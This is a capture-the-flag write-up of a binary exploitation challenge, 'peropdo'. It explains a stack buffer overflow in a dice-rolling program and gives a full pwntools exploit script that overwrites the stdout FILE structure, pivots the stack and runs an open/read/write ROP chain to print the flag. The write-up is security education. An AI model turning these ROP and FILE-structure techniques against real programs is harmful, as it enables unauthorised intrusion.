Category: Potent Pwnables
32 bit ELF, static link, stripped, NX enabled, No PIE & canary.
The program is a “rolling dice” program. First we input our name, then the program will ask us how many dice would we like to roll. After we input a number, the program will start generating some random data, then store them on the stack memory. The program will then print out
data[i] % 6 + 1, which represent the numbers we roll in this round.
There’re two vulnerabilities in the program. First it use
scanf("%s", name) to read our name, which lead to buffer overflow in the
name buffer. Then, if we input a number that is larger than 23, the data that program generated will overflow the
data[i] buffer and thus overwrite the return address ( it will be a random data though ).
Since the binary was stripped, I wasn’t sure which algorithm the program used for randomizing, the only thing I knew is that the algorithm will use our name to generate the random data. At that moment, I thought it was just some self-implement function ( which is NOT correct, we’ll get into that later).
And so I thought “Hmmm, maybe I could use some symbolic execution tool to calculate the address I want to return, and do the ROP attack”. This was such a huge mistake, since I’m not familiar with any of the symbolic execution tools – angr, Triton, not to mention the fresh out manticore. Even worse, all of the tool failed to calculate the address – Triton and manticore couldn’t even execute the program, it just crashed :(
After wasting lots of time with those symbolic execution tools, I decided to try something different – the first vulnerability: overflowing the
name buffer. And the result was encouraging – since I found that I could hijack the control flow by using the
call reg and the
call [reg+offset] gadget ( we can control the content of several registers ). It seems that there’re some
FILE* pointer behind the
name buffer, so we can exploit the service by abusing the FILE structure ( we can’t control the function parameters though).
Here I chose to use the second gadget (
call [reg+offset] ), since when the program execute to that line of code, its second parameter will be the
FILE* pointer of
stdout. I control the
eip and jump to the middle of the main function:
1 2 3 4 5 6 7 8 mov dword ptr [esp+4], offset name mov dword ptr [esp], (offset aSSSS+8) ; "%s" <--- I jump to here call scanf mov eax, ds:name mov [esp], eax call sub_0804baf0 mov dword ptr [esp], offset name call do_main
This will make the program store the
%s string to the first parameter, then call the
scanf function, making the program calling
scanf("%s", stdout) – and thus we can control the content of
stdout, we can actually hijack the control flow, while having the first parameter controlled. This allowed us to do some advanced ROP attack. Here’s what I did after I controlled the
- Jump to
xchg esp, eaxgadget, migrate the stack to
stdout(which now controlled by us)
add esp, offsetto skip the uncontrollable member data in
- Since it’s a static linked binary, it’s easy for us to find some gadgets and do the open/read/write syscall, making the service print out the flag of the challenge. (The execve syscall seems to be filtered out in this challenge)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 #!/usr/bin/env python from pwn import * import subprocess import sys import time HOST = "peropdo_bb53b90b35dba86353af36d3c6862621.quals.shallweplayaga.me" PORT = 80 ELF_PATH = "./peropdo" context.binary = ELF_PATH context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] context.terminal = ['tmux', 'splitw'] # for gdb.attach elf = context.binary # context.binary is an ELF object if __name__ == "__main__": r = remote(HOST, PORT) #r = process(ELF_PATH) #gdb.attach(r, gdbscript=open("./ggg", "r")) func = 0x0806d7aa # avoid crash scanf = 0x08048b2a name = p32(scanf) + p32(func) + "\x42"*972 + p32(0x80ecdf4) + '\x00'*92 + p32(0x80ecdf8) r.sendlineafter("name?", name) # Later the program will call scanf("%s", stdout); # now we can overwrite the whole stdout FILE structure stream = p32(0x08079824) # second gadget: add esp, 0x84.... stream += "/home/peropdo/flag\x00" # flag path stream = stream.ljust(0x1c, '\0') stream += p32(0x804b45c) # eip, first gadget: xchg esp, eax ; ret stream = stream.ljust(0x48, '\0') stream += p32(0x080ED3E8) # pointer to null stream = stream.ljust(0x90, '\0') stream += p32(0x807982b) # third gadget: pop; ret stream += p32(0x80eb2a0) # fake jump table # 0x08074f2e : mov eax, 5 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret # 0x08079465 : mov ebx, eax ; mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret pop_ebx = 0x806f322 # pop ebx;ret pop_eax = 0x80e3525 # pop eax;ret pop_ecx = 0x080e5ee1 # pop ecx ; ret pop_edx = 0x0806f2fa # pop edx ; ret int80 = 0x806fae0 # int 0x80 ; ret buf = 0x80ed000-0x100 rop = flat( pop_ecx, 0, pop_edx, 0, 0x08074f2e, # mov eax = 5 (open), pop ebx... 0x80eb2a4, # ptr to flag path [0,0,0], int80, pop_eax, 3, # read pop_ebx, 3, #fd pop_ecx, buf, pop_edx, 0x100, int80, pop_ebx, 1, # fd, pop_eax, 4, # write int80 ) r.sendline(stream + rop) r.interactive()
Thanks to Kenshoto for the inspiration! 5fbb34920c457b2e0855a174b8de3ebc
Later did I know (thanks to teammate Isaac) that there’s a thing call FLIRT in IDA Pro, which can help the user identify the function call in libc. All we need to do is download a FLIRT signature database from github ( here’s the DB I used for this challenge ), and use FILE –> Load File –> FLIRT signature file to load the database. IDA will then identify the function name, making the reverse engineering less painful. By using this technique, we’ll be able to identify some libc function, even the location of
And that’s when I found that the “self-implement random” function is actually just
rand() in libc. According to meh from HITCON, you can just brute-force the desired return address. Moreover, because the
name buffer address is right under the return address, so you can just use
pop esp; ret to migrate the stack into
name buffer, and do the ROP attack. Guess I still got a lot of shit to learn :/